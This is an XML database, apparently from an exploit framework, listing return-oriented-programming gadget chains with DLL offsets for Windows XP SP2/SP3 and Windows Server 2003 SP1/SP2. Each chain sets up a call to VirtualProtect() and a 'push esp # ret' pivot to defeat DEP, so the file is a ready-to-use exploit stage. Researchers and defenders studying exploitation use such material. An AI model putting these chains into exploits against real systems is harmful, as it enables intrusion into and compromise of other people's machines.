71 lines
3.1 KiB
XML
71 lines
3.1 KiB
XML
<?xml version="1.0" encoding="ISO-8859-1"?>
|
|
<db>
|
|
<rop>
|
|
<compatibility>
|
|
<target>WINDOWS XP SP2</target>
|
|
<target>WINDOWS XP SP3</target>
|
|
</compatibility>
|
|
|
|
<gadgets base="0x77c10000">
|
|
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
|
|
<gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>
|
|
<gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
|
|
<gadget value="junk">JUNK</gadget>
|
|
<gadget offset="0x0001362c">POP EBX # RETN</gadget>
|
|
<gadget offset="0x0004d9bb">Writable location</gadget>
|
|
<gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>
|
|
<gadget offset="0x00040d13">POP EDX # RETN</gadget>
|
|
<gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>
|
|
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
|
|
<gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>
|
|
<gadget value="junk">JUNK</gadget>
|
|
<gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
|
|
<gadget offset="0x0002ee15">POP EBP # RETN</gadget>
|
|
<gadget offset="0x0002ee15">skip 4 bytes</gadget>
|
|
<gadget offset="0x0002eeef">POP ECX # RETN</gadget>
|
|
<gadget offset="0x0004d9bb">Writable location</gadget>
|
|
<gadget offset="0x0001a88c">POP EDI # RETN</gadget>
|
|
<gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
|
|
<gadget offset="0x0002a184">POP ESI # RETN</gadget>
|
|
<gadget offset="0x0001aacc">JMP [EAX]</gadget>
|
|
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
|
|
<gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
|
|
<gadget offset="0x00002df9">PUSHAD # RETN</gadget>
|
|
<gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
|
|
</gadgets>
|
|
</rop>
|
|
|
|
<rop>
|
|
<compatibility>
|
|
<target>WINDOWS SERVER 2003 SP1</target>
|
|
<target>WINDOWS SERVER 2003 SP2</target>
|
|
</compatibility>
|
|
|
|
<gadgets base="0x77ba0000">
|
|
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
|
<gadget offset="0x00001114">VirtualProtect()</gadget>
|
|
<gadget offset="0x0001f244">MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget>
|
|
<gadget value="junk">JUNK</gadget>
|
|
<gadget offset="0x00010c86">XCHG EAX,ESI # RETN</gadget>
|
|
<gadget offset="0x00029801">POP EBP # RETN</gadget>
|
|
<gadget offset="0x00042265">ptr to 'push esp # ret'</gadget>
|
|
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
|
<gadget value="0x03C0990F">EAX</gadget>
|
|
<gadget offset="0x0003d441">SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)</gadget>
|
|
<gadget offset="0x000148d3">POP EBX, RET</gadget>
|
|
<gadget offset="0x000521e0">.data</gadget>
|
|
<gadget offset="0x0001f102">XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN</gadget>
|
|
<gadget offset="0x0001fc02">POP ECX # RETN</gadget>
|
|
<gadget offset="0x0004f001">W pointer (lpOldProtect) (-> ecx)</gadget>
|
|
<gadget offset="0x00038c04">POP EDI # RETN</gadget>
|
|
<gadget offset="0x00038c05">ROP NOP (-> edi)</gadget>
|
|
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
|
<gadget value="0x03C0944F">EAX</gadget>
|
|
<gadget offset="0x0003d441">SUB EAX, 03c0940f</gadget>
|
|
<gadget offset="0x00018285">XCHG EAX,EDX # RETN</gadget>
|
|
<gadget offset="0x00012563">POP EAX # RETN</gadget>
|
|
<gadget value="nop">NOP</gadget>
|
|
<gadget offset="0x00046591">PUSHAD # ADD AL,0EF # RETN</gadget>
|
|
</gadgets>
|
|
</rop>
|
|
</db> |